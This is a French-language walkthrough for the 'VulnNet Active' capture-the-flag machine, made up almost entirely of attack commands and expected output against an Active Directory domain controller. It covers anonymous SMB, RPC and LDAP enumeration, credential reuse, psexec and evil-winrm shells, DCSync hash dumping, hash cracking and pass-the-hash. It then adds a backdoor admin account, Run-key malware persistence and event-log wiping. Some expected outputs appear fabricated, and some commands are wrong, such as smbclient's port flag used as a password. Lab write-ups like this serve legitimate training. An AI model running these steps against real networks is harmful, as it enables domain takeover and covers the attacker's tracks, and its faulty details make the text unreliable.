Commande :
nmap -sV -sC -p- -oN nmap_scan.txt <IP_CIBLE>
Explications :
- -sV : Détecte les versions des services
- -sC : Exécute les scripts par défaut de nmap
- -p- : Scanne tous les ports (1-65535)
- -oN : Sauvegarde dans un fichier
Résultat attendu pour VulnNet Active :
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP
445/tcp open microsoft-ds Windows Server 2016 Standard 14393
464/tcp open kerberos-pwd Kerberos
636/tcp open ldapssl
3268/tcp open ldap Microsoft Windows Active Directory LDAP (GC)
3269/tcp open ldapssl
3389/tcp open ms-wbt-server Microsoft Terminal Services
Commande :
nmap -sV -sC -p 88,389,445 <IP_CIBLE>
Explications :
- Port 88 : Kerberos (indique un contrôleur de domaine)
- Port 389 : LDAP (Active Directory)
- Port 445 : SMB (partages)
Commande :
smbclient -L //<IP_CIBLE> -N
Explications :
- -L : Liste les partages disponibles
- -N : Pas d'authentification (null session)
Résultat attendu :
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
VulnNet-Share Disk VulnNet Share
Commande :
smbclient //<IP_CIBLE>/VulnNet-Share -N
Actions une fois connecté :
# Lister le contenu
ls
cd /
# Voir les fichiers intéressants
ls -la
# Télécharger les fichiers trouvés
get Accounting.docx
get Services.docx
get important.txt
Alternative avec smbmap :
smbmap -H <IP_CIBLE> -u "" -p ""
smbmap -H <IP_CIBLE> -u "" -p "" -r VulnNet-Share
Commande :
rpcclient -U "" <IP_CIBLE> -N
Une fois connecté, commandes utiles :
# Énumérer les utilisateurs du domaine
enumdomusers
# Énumérer les groupes
enumdomgroups
# Obtenir des informations sur le domaine
querydominfo
# Énumérer les partages
netshareenum
# Quitter
quit
Résultat attendu :
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[Dummy] rid:[0x3e8]
user:[enterprise-core-vn] rid:[0x3e9]
Commande :
# Récupérer les utilisateurs
rpcclient -U "" <IP_CIBLE> -N -c "enumdomusers" > users.txt
# Lister les groupes
rpcclient -U "" <IP_CIBLE> -N -c "enumdomgroups" > groups.txt
# Informations du domaine
rpcclient -U "" <IP_CIBLE> -N -c "querydominfo" > domaininfo.txt
Commande :
ldapsearch -h <IP_CIBLE> -p 389 -x -s base namingContexts
Explications :
- -h : Host LDAP
- -p : Port LDAP
- -x : Authentification simple (sans bind)
- -s base : Scope de recherche
Résultat attendu :
# extended LDIF
#
# LDAPv3
# base <> with scope baseObject
# filter: (objectClass=*)
# requesting: namingContexts
#
dn:
namingContexts: DC=vulnnet,DC=local
Commande :
ldapsearch -h <IP_CIBLE> -p 389 -x -b "DC=vulnnet,DC=local" > ldap_dump.txt
Pour extraire les utilisateurs uniquement :
ldapsearch -h <IP_CIBLE> -p 389 -x -b "DC=vulnnet,DC=local" "(objectClass=user)" | grep "sAMAccountName" > users_list.txt
Analyser le résultat :
cat ldap_dump.txt | grep "sAMAccountName:"
cat ldap_dump.txt | grep "distinguishedName:" | grep "CN="
Commande :
# Chercher tous les utilisateurs
ldapsearch -h <IP_CIBLE> -p 389 -x -b "DC=vulnnet,DC=local" "(objectClass=user)" | grep -E "^dn:|sAMAccountName:" > users_detailed.txt
# Chercher les groupes
ldapsearch -h <IP_CIBLE> -p 389 -x -b "DC=vulnnet,DC=local" "(objectClass=group)" > groups_info.txt
# Chercher les ordinateurs
ldapsearch -h <IP_CIBLE> -p 389 -x -b "DC=vulnnet,DC=local" "(objectClass=computer)" > computers_info.txt
Installation :
git clone https://github.com/ropnop/windapsearch.git
cd windapsearch
pip install -r requirements.txt
chmod +x windapsearch.py
Utilisation :
# Énumérer tous les utilisateurs
python windapsearch.py -d vulnnet.local -u "" -p "" --dc <IP_CIBLE> -C
# Énumérer les groupes
python windapsearch.py -d vulnnet.local -u "" -p "" --dc <IP_CIBLE> -G
# Énumérer les utilisateurs avec privilèges intéressants
python windapsearch.py -d vulnnet.local -u "" -p "" --dc <IP_CIBLE> -PU
À partir des fichiers trouvés sur SMB :
# Examiner les documents trouvés
strings Accounting.docx
strings Services.docx
cat important.txt
# Chercher des patterns de mots de passe
grep -i "password\|pass\|pwd" *.txt *.docx
Exemple de résultat attendu :
Password: Pinguinusername123!
Service: enterprise-core-vn
Default Password: Password1@
Commande pour tester SMB :
# Avec le client SMB
smbclient //<IP_CIBLE>/VulnNet-Share -U "vulnnet.local\enterprise-core-vn" -p "Pinguinusername123!"
# Avec smbmap
smbmap -H <IP_CIBLE> -u "enterprise-core-vn" -p "Pinguinusername123!" -d "vulnnet.local"
Commande pour tester LDAP :
ldapsearch -h <IP_CIBLE> -p 389 -D "CN=enterprise-core-vn,CN=Users,DC=vulnnet,DC=local" -w "Pinguinusername123!" -x -b "DC=vulnnet,DC=local"
Commande pour tester Kerberos :
# Obtenir un TGT (Ticket Granting Ticket)
kinit enterprise-core-vn@VULNNET.LOCAL
# Entrer le mot de passe quand demandé
# Vérifier le ticket
klist
Une fois les credentials validés :
# Énumération SMB avec credentials
smbclient //<IP_CIBLE>/VulnNet-Share -U "vulnnet.local\enterprise-core-vn" -p "Pinguinusername123!"
# Énumération RPC avec credentials
rpcclient -U "vulnnet.local\enterprise-core-vn" <IP_CIBLE> -c "enumdomusers"
# Ou en interactif :
rpcclient -U "vulnnet.local\enterprise-core-vn" <IP_CIBLE>
> enumdomusers
> queryuser <RID>
> quit
Chercher les utilisateurs intéressants :
# Utilisateurs avec accès administratif
ldapsearch -h <IP_CIBLE> -p 389 -D "CN=enterprise-core-vn,CN=Users,DC=vulnnet,DC=local" -w "Pinguinusername123!" -x -b "DC=vulnnet,DC=local" "(memberOf=*Admin*)"
# Utilisateurs avec des droits délégués
ldapsearch -h <IP_CIBLE> -p 389 -D "CN=enterprise-core-vn,CN=Users,DC=vulnnet,DC=local" -w "Pinguinusername123!" -x -b "DC=vulnnet,DC=local" "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=16777216))"
# Utilisateurs avec password jamais expiré
ldapsearch -h <IP_CIBLE> -p 389 -D "CN=enterprise-core-vn,CN=Users,DC=vulnnet,DC=local" -w "Pinguinusername123!" -x -b "DC=vulnnet,DC=local" "(userAccountControl:1.2.840.113556.1.4.803:=65536)"
Via SMB et Impacket :
# Vérifier les droits SMB
smbmap -H <IP_CIBLE> -u "enterprise-core-vn" -p "Pinguinusername123!" -d "vulnnet.local" -r
# Uploader un fichier exécutable (si l'accès en écriture est possible)
# Dans une vraie situation, chercher les vulnérabilités applicatives
Via RDP (Remote Desktop Protocol) :
# Vérifier l'accès RDP
rdesktop <IP_CIBLE> -u "vulnnet.local\enterprise-core-vn" -p "Pinguinusername123!"
# Ou avec xfreerdp (meilleur support)
xfreerdp /v:<IP_CIBLE> /u:"vulnnet.local\enterprise-core-vn" /p:"Pinguinusername123!" /cert-ignore
Via WinRM (Windows Remote Management) :
# Installer Evil-WinRM
gem install winrm winrm-fs stringio -q
# Vérifier si WinRM est accessible
nmap -p 5985,5986 <IP_CIBLE>
# Connexion via WinRM
evil-winrm -i <IP_CIBLE> -u "enterprise-core-vn" -p "Pinguinusername123!"
Via Kerberos et Impacket :
# Installer impacket
pip install impacket
# Utiliser psexec avec ticket Kerberos
kinit enterprise-core-vn@VULNNET.LOCAL
psexec.py vulnnet.local/enterprise-core-vn@<IP_CIBLE> -k -no-pass
Commande :
psexec.py vulnnet.local/enterprise-core-vn:'Pinguinusername123!'@<IP_CIBLE>
Explications :
- psexec.py : Exécute des commandes via SMB
- Utilisateur au format : domaine/utilisateur
- Mot de passe direct ou authentification Kerberos
Résultat attendu :
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
[*] Requesting shares on <IP_CIBLE>.....
[*] Found writable share ADMIN$
[*] Uploading file <UUID>.exe
[*] Opening SVCManager on <IP_CIBLE>.....
[*] Creating service <UUID> on <IP_CIBLE>.....
[*] Starting service <UUID>.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
# Vérifier l'utilisateur actuel
whoami
# Vérifier les droits
whoami /priv
# Vérifier les groupes
whoami /groups
# Informations système
systeminfo
# Version Windows
ver
# Recherche des flags
dir /s user.txt
dir /s root.txt
dir /s flag.txt
Commandes :
# Lister les utilisateurs locaux
net user
# Lister les utilisateurs du domaine
net user /domain
# Lister les groupes locaux
net localgroup
# Lister les groupes du domaine
net group /domain
# Vérifier les utilisateurs administrateurs
net localgroup Administrators
# Vérifier les sessions actives
net sessions
# Vérifier les partages
net share
# Vérifier les services
tasklist /v
wmic service list brief
# Chercher les fichiers intéressants
dir C:\Users\
dir C:\Users\<username>\Desktop\
dir C:\Users\<username>\Documents\
Commandes :
# Vérifier la version et les patches
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Boot Time"
# Utiliser Sherlock (détection de vulnérabilité Windows)
powershell -ExecutionPolicy Bypass -File Sherlock.ps1
# Ou utiliser Windows-Exploit-Suggester
./windows-exploit-suggester.py --database 2020-02-27-mssb.xlsx --systeminfo systeminfo.txt
Commandes :
# Chercher les mots de passe dans les fichiers
findstr /si password C:\*.txt
findstr /si password C:\*.xml
findstr /si password C:\*.ini
# Chercher dans les registre
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
# Chercher les fichiers SAM
dir C:\Windows\System32\config\SAM
dir C:\Windows\System32\config\SYSTEM
# Historique PowerShell
Get-History
type C:\Users\<username>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
Via DCSync (si l'utilisateur a les permissions) :
# Dans meterpreter ou via impacket
secretsdump.py vulnnet.local/enterprise-core-vn:'Pinguinusername123!'@<IP_CIBLE>
Résultat attendu :
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a4b0a7f9ba2234b24cc0e34bbed70218:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:46b8f6b9a4b48d3c5c5c5c5c5c5c5c5c:::
Commande :
# Avec hashcat
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt -o cracked.txt
# Avec John
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt --format=NT
# Avec Medusa (si les hashes NT ne fonctionnent pas)
medusa -h <IP_CIBLE> -u administrator -P rockyou.txt -M smbnt
Commande avec impacket :
# Sans crack le password, utiliser directement le hash
psexec.py administrator@<IP_CIBLE> -hashes aad3b435b51404eeaad3b435b51404ee:a4b0a7f9ba2234b24cc0e34bbed70218
# Format : domaine/utilisateur@cible -hashes LM_HASH:NT_HASH
Commandes :
# User flag
type C:\Users\<username>\user.txt
# Root/Administrator flag
type C:\Users\Administrator\root.txt
# Flag dans le système
dir /s /b *flag*
dir /s /b *user.txt
dir /s /b *root.txt
Créer un utilisateur backdoor :
net user backdoor Password123! /add
net localgroup Administrators backdoor /add
# Vérifier
net localgroup Administrators
Activer RDP :
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
Ajouter à la clé d'exécution :
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Backdoor" /t REG_SZ /d "C:\path\to\malware.exe" /f
Effacer l'historique :
# PowerShell
Remove-Item (Get-PSReadlineHome)\ConsoleHost_history.txt
Remove-Item C:\Windows\System32\winevt\Logs\System.evtx
# CMD
wevtutil cl System
wevtutil cl Security
wevtutil cl Application
# Historique de commande
cls
Nettoyer les logs :
# Voir les logs
Get-WinEvent -LogName Security -MaxEvents 10
# Supprimer les logs (attention : nécessite admin)
Remove-WinEvent -LogName Security -Oldest
# Via registry
reg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\eventlog\System" /v MaxSize /f
# Scan complet
nmap -A -T4 <IP_CIBLE>
# RPC enumeration
rpcclient -U "" <IP_CIBLE> -N -c "enumdomusers"
# LDAP enumeration
ldapsearch -h <IP_CIBLE> -p 389 -x -b "DC=vulnnet,DC=local"
# SMB shares
smbclient -L //<IP_CIBLE> -N
smbmap -H <IP_CIBLE>
# Test credentials SMB
smbclient //<IP_CIBLE>/<share> -U "user" -p "pass"
# Accès shell
psexec.py domain/user:'pass'@<IP_CIBLE>
evil-winrm -i <IP_CIBLE> -u "user" -p "pass"
# Énumération avec credentials
rpcclient -U "user" <IP_CIBLE> -c "enumdomgroups"
ldapsearch -h <IP_CIBLE> -D "CN=user,CN=Users,DC=domain,DC=local" -w "pass" -x -b "DC=domain,DC=local"
# Dump des hashes
secretsdump.py domain/user:'pass'@<IP_CIBLE>
# Pass the hash
psexec.py user@<IP_CIBLE> -hashes LM:NT
# Chercher vulnérabilités kernel
systeminfo
./Sherlock.ps1
| Outil | Utilité | Commande |
|---|---|---|
| nmap | Scan de ports | nmap -A <IP> |
| smbclient | Client SMB | smbclient -L //<IP> -N |
| rpcclient | Client RPC | rpcclient -U "" <IP> -N |
| ldapsearch | Recherche LDAP | ldapsearch -h <IP> -x -b "DC=..." |
| windapsearch | Énumération AD | python windapsearch.py -d domain.com --dc <IP> |
| impacket | Suite d'outils Windows | psexec.py domain/user:'pass'@<IP> |
| evil-winrm | WinRM shell | evil-winrm -i <IP> -u user -p pass |
| secretsdump | Extraction de hashes | secretsdump.py domain/user:'pass'@<IP> |
| hashcat | Cracking de mots de passe | hashcat -m 1000 hashes.txt rockyou.txt |
| john | Cracking John | john hashes.txt --wordlist=rockyou.txt |
✅ Retenez :
- Le protocole RPC permet d'énumérer les utilisateurs sans authentification
- LDAP expose les informations de l'Active Directory
- Les documents SMB peuvent contenir des credentials
- Kerberos peut être utilisé pour l'authentification une fois les credentials trouvés
- L'escalade de privilèges passe souvent par l'extraction de hashes
⚠️ Attention :
- Ne pas oublier le domaine dans les noms d'utilisateurs (domaine\utilisateur)
- Vérifier toutes les partages SMB pour les documents confidentiels
- Énumérer complètement l'Active Directory avant d'escalader
VulnNet Active est un excellent challenge pour apprendre l'exploitation d'Active Directory. La clé du succès est :
1. Une énumération minutieuse
2. La recherche de credentials dans les documents accessibles
3. L'utilisation correcte des outils d'exploitation Windows
4. Une compréhension de Kerberos et LDAP
Bonne chance avec le challenge !